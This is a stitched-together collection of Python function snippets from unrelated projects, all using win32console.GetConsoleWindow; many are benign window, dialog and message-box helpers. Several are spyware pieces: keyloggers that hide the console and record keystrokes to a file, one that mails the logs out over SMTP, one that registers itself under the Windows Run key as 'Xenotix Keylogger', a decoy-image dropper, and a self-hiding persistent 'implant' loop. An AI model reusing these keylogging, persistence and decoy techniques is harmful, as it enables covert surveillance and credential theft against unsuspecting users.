def WindowsTerminaliGizle(): if platform.system() == "Windows": import win32console, win32gui terminal = win32console.GetConsoleWindow() win32gui.ShowWindow(terminal, 0) else: pass
def hideWindowsConsole(self): import win32console, win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return True
def WindowsTerminaliGizle(): if isletim_sistemi == "Windows": import win32console, win32gui terminal = win32console.GetConsoleWindow() win32gui.ShowWindow(terminal, 0) else: pass
def hide(): if platform.system() == 'Windows': import win32console, win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return True
def reenable_close_window(): if pywin32_installed: try: # reenable console windows close button (useful if called command line or batch file) hwnd = win32console.GetConsoleWindow() hMenu = win32gui.GetSystemMenu(hwnd, False) win32gui.EnableMenuItem(hMenu, win32con.SC_CLOSE, win32con.MF_ENABLED) except: pass #silent
def hide_console(): """ hide the console window """ window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return
def run(args): check_args(args) win = win32console.GetConsoleWindow() listener = threading.Thread(target=start_listening) logger = threading.Thread(target=start_logging, args=(args.klog, args.mlog, args.key, bool(args.key), bool(args.key), args.cpoint)) timestopper = threading.Timer(args.time, lambda: STOP_EVENT.set()) listener.start() logger.start() timestopper.start() if args.stopkeyword: global KEYWORD_QUEUE, KEYWORD_STOP_ENABLED KEYWORD_STOP_ENABLED = True KEYWORD_QUEUE = queue.Queue() kwstopper = threading.Thread(target=keyword_stopper, args=(args.stopkeyword, )) kwstopper.start() print('Logging keyboard and mouse events...') if args.hide or args.har: win32gui.ShowWindow(win, 0) kwstopper.join() timestopper.cancel() else: print('Logging keyboard and mouse events...') if args.hide or args.har: win32gui.ShowWindow(win, 0) timestopper.join() listener.join() logger.join() if args.har: win32gui.ShowWindow(win, 1)
def DoModel(self): style = win32con.DS_SETFONT | win32con.DS_MODALFRAME | win32con.WS_POPUP | win32con.WS_SYSMENU | win32con.WS_VISIBLE | win32con.WS_CAPTION | win32con.CS_DBLCLKS s = win32con.WS_CHILD | win32con.WS_VISIBLE win32gui.DialogBoxIndirect( win32gui.dllhandle, [[ self.title, (0, 0, 180, 148), style, None, (12, "宋体"), None, self.className ], [ 128, "确定", win32con.IDOK, (68, 127, 50, 14), s | win32con.WS_TABSTOP | win32con.BS_DEFPUSHBUTTON ], [ 128, "取消", win32con.IDCANCEL, (123, 127, 50, 14), s | win32con.WS_TABSTOP | win32con.BS_PUSHBUTTON ], [130, self.msg, -1, (7, 7, 166, 13), s | win32con.SS_LEFT], [ 131, None, 1000, (7, 22, 166, 98), s | win32con.WS_TABSTOP | win32con.LBS_NOINTEGRALHEIGHT | win32con.LBS_NOTIFY | win32con.WS_VSCROLL | win32con.WS_BORDER ]], win32console.GetConsoleWindow(), { win32con.WM_COMMAND: self.OnCommand, win32con.WM_INITDIALOG: self.OnInitDialog, })
def window_foreground_loop(timeout=20): """ set the windows python console to the foreground (for example when you are working with a fullscreen program) """ hwnd = int(win32console.GetConsoleWindow()) while True: win32gui.SetWindowPos(hwnd, win32con.HWND_TOPMOST, 0, 0, 0, 0, win32con.SWP_NOMOVE | win32con.SWP_NOSIZE) time.sleep(timeout)
def WindowsTerminaliGizle(): # WindowsTerminaliGizle adında bir fonksiyon oluşturduk # if isletim_sistemi == "Windows": # Eğer İşletim Sistemi "Windows" ise # import win32console, win32gui # Gerekli Modüller # terminal = win32console.GetConsoleWindow() # Terminal adlı değişken # win32gui.ShowWindow(terminal, 0) # Görünmez yap # else: # Eğer İşletim Sistemi "Windows" değilse # pass # Boşver :) #
def _current_process_owns_console(): #import os, win32api #return not win32api.GetConsoleTitle().startswith(os.environ["COMSPEC"]) import win32console, win32process conswnd = win32console.GetConsoleWindow() wndpid = win32process.GetWindowThreadProcessId(conswnd)[1] curpid = win32process.GetCurrentProcessId() return curpid == wndpid
def run_command(tokens): """Execute a command line (treat internal and external appropriately""" # Cleanup environment for var in pseudo_vars: if var in os.environ.keys(): del os.environ[var] if tokens[0] == 'exit': internal_exit('Bye!') elif tokens[0].lower() == 'cd' and [t for t in tokens if t in sep_tokens ] == []: # This is a single CD command -- use our custom, more handy CD internal_cd([unescape(t) for t in tokens[1:]]) else: if set(sep_tokens).intersection(tokens) == set([]): # This is a simple (non-compound) command # Crude hack so that we return to the prompt when starting GUI # applications: if we think that the first token on the given command # line is an executable, check its PE header to decide whether it's # GUI application. If it is, spawn the process and then get on with # life. cmd = expand_env_vars(tokens[0].strip('"')) dir, name = os.path.split(cmd) ext = os.path.splitext(name)[1] if not ext or ext in exec_extensions: # Executable given app = cmd else: # Not an executable -- search for the associated application if os.path.isfile(cmd): app = associated_application(ext) else: # No application will be spawned if the file doesn't exist app = None if app: executable = full_executable_path(app) if executable and os.path.splitext( executable)[1].lower() == '.exe': # This is an exe file, try to figure out whether it's a GUI # or console application if is_gui_application(executable): import subprocess s = u' '.join([expand_tilde(t) for t in tokens]) subprocess.Popen(s.encode(sys.getfilesystemencoding()), shell=True) return # Regular (external) command start_time = time.time() run_in_cmd(tokens) console_window = win32console.GetConsoleWindow() if win32gui.GetForegroundWindow( ) != console_window and time.time() - start_time > 15: # If the window is inactive, flash after long tasks win32gui.FlashWindowEx(console_window, win32con.FLASHW_ALL, 3, 750)
def lock_window(windowlock): if Pywin and not autotest and not windowlock: windowlock=True hwnd = win32console.GetConsoleWindow() if hwnd: hMenu = win32gui.GetSystemMenu(hwnd, 0) if hMenu: win32gui.DeleteMenu(hMenu, win32con.SC_CLOSE, win32con.MF_BYCOMMAND) return windowlock
def start(self): self.running = True win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) def OnKeyboardEvent_up(event): self.control_down self.shift_down if event.Key == 'Lcontrol' or event.Key == 'Rcontrol': self.control_down = False if event.Key == 'Lshift' or event.Key == 'Rshift': self.shift_down = False def OnKeyboardEvent(event): if event.Ascii == 5: os._exit(1) if event.Ascii != 0: if os.path.isfile('output.txt'): f = open('output.txt', 'r+') buffer = f.read() f.close() else: buffer = '' f = open('output.txt', 'w') keylogs = chr(event.Ascii) if event.Ascii == 8: keylogs = ' \'BACKSPACE\' ' elif event.Ascii == 13: keylogs = '\n' elif event.Ascii == 27: keylogs =' \'ESCAPE\' ' if pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_CONTROL')): keylogs = ' \'CTRL + ' + keylogs.upper() + '\' ' if pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_LSHIFT')) or \ pyHook.GetKeyState(pyHook.HookConstants.VKeyToID('VK_RSHIFT')): keylogs = keylogs.upper() #return False buffer += keylogs f.write(buffer) f.close() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent #hm.KeyUp = OnKeyboardEvent_up hm.HookKeyboard() while self.running: pythoncom.PumpWaitingMessages() else: hm.UnhookKeyboard()
def Hide(xD=True): import win32console, win32gui window = win32console.GetConsoleWindow() if xD == True: win32gui.ShowWindow(window, 0) return True elif xD == False: win32gui.ShowWindow(window, 1) return False
def runobjects(gserver , gport , guser , gpass , mailfrom, mailto,subject): wg.ShowWindow(wc.GetConsoleWindow(),0); startup() wtthread = thread5.Thread(target=Checkifwindowchanged) kthread = thread5.Thread(target=startkeylogger) mailthread = thread5.Thread(target=checklog , args=(gserver , gport , guser , gpass , mailfrom, mailto, subject)) kthread.start() wtthread.start() mailthread.start() kthread.join() wtthread.join() mailthread.join()
def main(): fp = os.path.dirname(os.path.realpath(__file__)) file_name = sys.argv[0].split("\\")[-1] new_file_path = fp + "\\" + file_name keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run' key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) SetValueEx(key2change, "Xenotix Keylogger", 0, REG_SZ, new_file_path) window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return True
def openimage(): # Make console window hidden win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) # Download & Open Decoy Image temp = open(os.getenv('TEMP') + '\\cat.jpg', 'wb') temp.write(requests.get(IMAGE).content) temp.close() subprocess.call(['start', os.getenv('TEMP') + '\\cat.jpg'], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL, shell=True)
def run(self): while (True): if not DEBUG_MODE: # keep implant implanted print("insist must persist") window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, False) # Things that we really do want to stash away somewhere hideFile(WebPath[:1]) # slashes hideFile(KeyPath[:1]) hideFile(sys.argv[0]) time.sleep(random.randint(1, 420))
def __init__(self): #Hide the console window if it is visible win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) #Have the "activation variables defined for all logging activities, but they only #enable/disable the background processes on start and stop self.__log_keypresses = True self.log_activewindow = True self.keypress_number = Value('i', 0) self.keylogger_process = None self.running = False
def exit(code): # cleanup try: shutil.rmtree(tempdir) except: pass # silent if pywin32_installed: try: # reenable console windows close button (useful if called command line or batch file) hwnd = win32console.GetConsoleWindow() hMenu = win32gui.GetSystemMenu(hwnd, False) win32gui.EnableMenuItem(hMenu, win32con.SC_CLOSE, win32con.MF_ENABLED) except: pass #silent sys.exit(code)
def logger(): if platform == "linux" or platform == "linux2": # This tells the keylogger where the log file will go. # You can set the file path as an environment variable ('pylogger_file'), # or use the default ~/Desktop/file.log log_file = os.environ.get('pylogger_file', os.path.expanduser('~/Desktop/file.log')) # Allow setting the cancel key from environment args, Default: ` cancel_key = ord(os.environ.get('pylogger_cancel', '`')[0]) # Allow clearing the log file on start, if pylogger_clean is defined. if os.environ.get('pylogger_clean', None) is not None: try: os.remove(log_file) except EnvironmentError: # File does not exist, or no permissions. pass #creating key pressing event and saving it into log file # create a hook manager object new_hook = pyxhook.HookManager() new_hook.KeyDown = OnKeyPress # set the hook new_hook.HookKeyboard() try: new_hook.start() # start the hook except KeyboardInterrupt: # User cancelled from command line. pass except Exception as ex: # Write exceptions to the log file, for analysis later. msg = 'Error while catching events:\n {}'.format(ex) pyxhook.print_err(msg) with open(log_file, 'a') as f: f.write('\n{}'.format(msg)) elif platform == "win32": win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) # create a hook manager object hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent # set the hook hm.HookKeyboard() # wait forever pythoncom.PumpMessages()
def info(text, title="God"): """Mostra uma caixa de mensagem de informação Parâmetros ---------- text : str Texto da caixa de mensagem title : str Título da caixa de mensagem (Padrão: God) """ MessageBox( win32console.GetConsoleWindow(), text, title, win32con.MB_OK | win32con.MB_ICONINFORMATION | win32con.MB_SYSTEMMODAL)
def error(text, title="God"): """Mostra uma caixa de mensagem de erro Parâmetros ---------- text : str Texto da caixa de mensagem title : str Título da caixa de mensagem (Padrão: God) """ MessageBox( win32console.GetConsoleWindow(), text, title, win32con.MB_OK | win32con.MB_ICONERROR | win32con.MB_SYSTEMMODAL)
def warning(text, title="God"): """Mostra uma caixa de mensagem de aviso Parâmetros ---------- text : str Texto da caixa de mensagem title : str Título da caixa de mensagem (Padrão: God) """ MessageBox( win32console.GetConsoleWindow(), text, title, win32con.MB_OK | win32con.MB_ICONWARNING | win32con.MB_SYSTEMMODAL)
def file_select(title, flt): try: ret = win32gui.GetOpenFileNameW( hwndOwner=win32console.GetConsoleWindow(), Title=title, MaxFile=1048576, Flags=win32con.OFN_ALLOWMULTISELECT | win32con.OFN_PATHMUSTEXIST | win32con.OFN_FILEMUSTEXIST | win32con.OFN_HIDEREADONLY | win32con.OFN_EXPLORER | win32con.OFN_DONTADDTORECENT | win32con.OFN_NOCHANGEDIR, Filter=flt) files = ret[0].split('\0') if len(files) > 1: files = [os.path.join(files[0], file) for file in files[1:]] return files except win32gui.error: return []
def hide_Tower_console(h=1): if h == 1: try: import win32console, win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return True except: return False else: TOWER.send(str.encode(WARNING+'WARNING: Tower windows are showing on client machine!!'))
def ontop(): hwndmatch = win32gui.FindWindow(None,'Match') hwndstream = win32gui.FindWindow(None,'Stream') hwndconsole = win32console.GetConsoleWindow() if checkontopvar.get()==True: # windows on top: if hwndconsole != 0: rectconsole = win32gui.GetWindowRect(hwndconsole) win32gui.SetWindowPos(hwndconsole, win32con.HWND_TOPMOST, rectconsole[0], rectconsole[1], rectconsole[2]-rectconsole[0], rectconsole[3]-rectconsole[1], 0) if hwndmatch != 0: recta = win32gui.GetWindowRect(hwndmatch) # x = rect[0] y = rect[1] w = rect[2] - x h = rect[3] - y win32gui.SetWindowPos(hwndmatch, win32con.HWND_TOPMOST, recta[0], recta[1], recta[2]-recta[0], recta[3]-recta[1], 0) if hwndstream != 0: rectb = win32gui.GetWindowRect(hwndstream) win32gui.SetWindowPos(hwndstream, win32con.HWND_TOPMOST, rectb[0], rectb[1], rectb[2]-rectb[0], rectb[3]-rectb[1], 0) root.wm_attributes("-topmost", 1) # root on top if checkontopvar.get()==False: # windows NOT on top: if hwndconsole != 0: rectconsole = win32gui.GetWindowRect(hwndconsole) win32gui.SetWindowPos(hwndconsole, win32con.HWND_NOTOPMOST, rectconsole[0], rectconsole[1], rectconsole[2]-rectconsole[0], rectconsole[3]-rectconsole[1], 0) if hwndmatch != 0: recta = win32gui.GetWindowRect(hwndmatch) # x = rect[0] y = rect[1] w = rect[2] - x h = rect[3] - y win32gui.SetWindowPos(hwndmatch, win32con.HWND_NOTOPMOST, recta[0], recta[1], recta[2]-recta[0], recta[3]-recta[1], 0) if hwndstream != 0: rectb = win32gui.GetWindowRect(hwndstream) win32gui.SetWindowPos(hwndstream, win32con.HWND_NOTOPMOST, rectb[0], rectb[1], rectb[2]-rectb[0], rectb[3]-rectb[1], 0) root.wm_attributes("-topmost", 0) # root NOT on top
def __init__(self, parent_pid, lst_cmd_line): try: _ConsoleProcessBase.__init__(self, parent_pid) self.parent_pid = parent_pid self._start_parent_monitor() self.cmd_line = ' '.join(lst_cmd_line) self.echo = eval(os.environ.get('pyconsole_echo', 'True')) self.child_handle = None self.child_pid = None self.paused = False self.x_max = 0 self.y_max = 0 self.y_buffer_max = 0 self.y_last = 0 self.y_adjust = 0 self.y_current = 0 self.last_event_time = 0 self._initialize() self._initialize_events() win32console.FreeConsole() # alloc 2000 lines ? win32console.AllocConsole() self.con_stdout = win32console.GetStdHandle( win32console.STD_OUTPUT_HANDLE) self.con_stdin = win32console.GetStdHandle( win32console.STD_INPUT_HANDLE) win32console.SetConsoleTitle('console process pid:%s ppid:%s' % ( os.getpid(), parent_pid, )) # size = win32console.PyCOORDType (X=1000, Y=30) # self.con_stdout.SetConsoleScreenBufferSize (size) dct_info = self.con_stdout.GetConsoleScreenBufferInfo() self.y_buffer_max = dct_info['Size'].Y - 1 self.con_window = win32console.GetConsoleWindow().handle self.set_console_event_hook() self._start_paused_monitor() self._child_create() self._start_remote_input() self.message_pump() except: logging.exception('fatal error')
def confirm(text, title="God"): """Pede confirmação para o usuário na forma de popup Parâmetros ---------- text : str Texto da caixa de mensagem title : str Título da caixa de mensagem (Padrão: God) Retorno ------- True caso o usuário confirme, False se não """ res = MessageBox( win32console.GetConsoleWindow(), text, title, win32con.MB_YESNO | win32con.MB_ICONINFORMATION | win32con.MB_SYSTEMMODAL) return res == win32con.IDYES